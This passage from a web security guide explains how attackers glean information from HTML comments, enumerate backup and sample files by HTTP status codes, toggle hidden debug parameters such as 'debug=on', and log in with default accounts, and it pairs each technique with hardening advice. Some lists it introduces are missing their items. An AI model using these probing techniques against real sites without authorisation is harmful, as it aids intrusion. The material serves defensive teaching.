A second form of cryptographic protection is to add an additional parameter whose value is an MD5 digest of the URL query string (or hidden form fields) More details of this technique are described above in the section "HTML Form Field Manipulation". This method does not prevent a user from seeing a value, but it does prevent him from changing the value.

It's amazing what one can find in comments. Comments placed in most source code aid readability and improve documented process. The practice of commenting has been carried over into the development of HTML pages, which are sent to the clients' browser. As a result information about the structure of the a web site or information intended only for the system owners or developers can sometimes be inadvertently revealed.

Comments left in HTML can come in many formats, some as simple as directory structures, others inform the potential attacker about the true location of the web root. Comments are sometimes left in from the HTML development stage and can contain debug information, cookie structures, problems associated with development and even developer names, emails and phone numbers.

Structured Comments - these appear in HTML source, usually at the top of the page or between the JavaScript and the remaining HTML, when a large development team has been working on the site for some time.

Automated Comments - many widely used page generation utilities and web usage software automatically adds signature comments into the HTML page. These will inform the attacker about the precise software packages (sometimes even down to the actual release) that is being used on the site. Known vulnerabilities in those packages can then be tried out against the site.

Unstructured Comments - these are one off comments made by programmers almost as an "aid memoir" during development. These can be particularly dangerous as they are not controlled in any way. Comments such as "The following hidden field must be set to 1 or XYZ.asp breaks" or "Don't change the order of these table fields" are a red flag to a potential attacker and sadly not uncommon.

For most comments a simple filter that strips comments before pages are pushed to the production server is all that is required. For Automated Comments an active filter may be required. It is good practice to tie the filtering process to sound deployment methodologies so that only known good pages are ever released to production.

File / Application Enumeration is a common technique that is used to look for files or applications that may be exploitable or be useful in constructing an attack. These include known vulnerable files or applications, hidden or un-referenced files and applications and back-up / temp files.

File /Application enumeration uses the HTTP server response codes to determine if a file or application exists. A web server will typically return an HTTP 200 response code if the file exists and an HTTP 404 response code if the file does not exist. This enables an attacker to feed in lists of known vulnerable files and suspected applications or use some basic logic to map the file and application structure visible from the presentation layer.

Known Vulnerable Files - Obviously many known vulnerable files exist, and in fact looking for them is one of the most common techniques that commercial and free-ware vulnerability scanners use. Many people will focus their search on cgi's for example or server specific issues such as IIS problems. Many daemons install "sample" code in publicly accessible locations, which are often found to have security problems. Removing (or simply not installing) such default files cannot be recommended highly enough.

Hidden / Un-Referenced Files - Many web site administrators leave files on the web server such as sample files or default installation files. When the web content is published, these files remain accessible although are un-referenced by any HTML in the web. Many examples are notoriously insecure, demonstrating things like uploading files from a web interface for instance. If an attacker can guess the URL, then he is typically able to access the resource.

Back-Up Files / Temp Files - Many applications used to build HTML and things like ASP pages leave temp files and back-up files in directories. These often get up-loaded either manually in directory copies or automagically by site management modules of HTML authoring tools like Microsoft's Frontpage or Adobe Go-Live. Back-up files are also dangerous as many developers embed things into development HTML that they later remove for production. Emacs for instance writes a *.bak in many instances. Development staff turnover may also be an issue, and security through obscurity is always an ill-advised course of action.

Remove all sample files from your web server. Ensure that any unwanted or unused files are removed. Use a staging screening process to look for back-up files. A simple recursive file grep of all extensions that are not explicitly allowed is very effective.

Some web server / application servers that build dynamic pages will not return a 404 message to the browser, but instead return a page such as the site map. This confuses basic scanners into thinking that all files exist. Modern vulnerability scanners however can take a custom 404 and treat it as a vanilla 404 so this technique only slows progress.

Debug commands actually come in two distinct forms

Explicit Commands - this is where a name value pair has been left in the code or can be introduced as part of the URL to induce the server to enter debug mode. Such commands as "debug=on" or "Debug=YES" can be placed on the URL like:

			http://www.somewebsite.com/account_check?ID=8327dsddi8qjgqllkjdlas&Disp=no
			

Can be altered to:

			http://www.somewebsite.com/account_check?debug=on&ID=8327dsddi8qjgqllkjdlas&Disp=no
			

The attacker observes the resultant server behavior. The debug construct can also be placed inside HTML code or JavaScript when a form is returned to the server, simply by adding another line element to the form construction, the result is the same as the command line attack above.

Implicit Commands - this is where seemingly innocuous elements on a page if altered have dramatic effects on the server. The original intent of these elements was to help the programmer modify the system into various states to allow a faster testing cycle time. These element are normally given obscure names such as "fubar1" or "mycheck" etc. These elements may appear in the source as:

			<!-- begins -->
			<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>>
			<FORM METHOD=POST ACTION="http://some_poll.com/poll?1688591" TARGET="sometarget" FUBAR1="666">
			<INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122">
			<!-- Question 1 -->
			<TR>
			<TD align=left colspan=2>
			<INPUT TYPE=HIDDEN NAME="Question" VALUE="1">
			<SPAN class="Story">
			

Finding debug elements is not easy, but once one is located it is usually tried across the entire web site by the potential hacker. As designers never intend for these commands to be used by normal users, the precautions preventing parameter tampering are usually not taken.

Debug commands have been known to remain in 3rd party code designed to operate the web site, such as web servers, database programs. Search the web for "Netscape Engineers are weenies" if you don't believe us!

Many "off the shelf" web applications typically have at least one user activated by default. This user, which is typically the administrator of the system, comes pre-configured on the system and in many cases has a standard password. The system can then be compromised by attempting access using these default values.

Web applications enable multiple default accounts on the system, for example:

The accounts can be accessed from the web either using the standard access for all defined account or via special ports or parts of the application, such as administrator pages. The default accounts usually come with pre-configured default passwords whose value is widely known. Moreover, most applications do not force a change to the default password.

The attack on such default accounts can occur in two ways:

Once the password is entered or guessed then the attacker has access to the site according to the account's permissions, which usually leads in two major directions:

If the account was an administrator account then the attacker has partial or complete control over the application (and sometimes, the whole site) with the ability to perform any malicious action.

If the account was a demo or test account the attacker will use this account as a means of accessing and abusing the application logic exposed to that user and using it as a mean of progressing with the attack.

Always change out of the box installation of the application. Remove all unnecessary accounts, following security checklist, vendor or public. Disable remote access to the admin accounts on the application. Use hardening scripts provided by the application vendors and vulnerability scanners to find the open accounts before someone else does.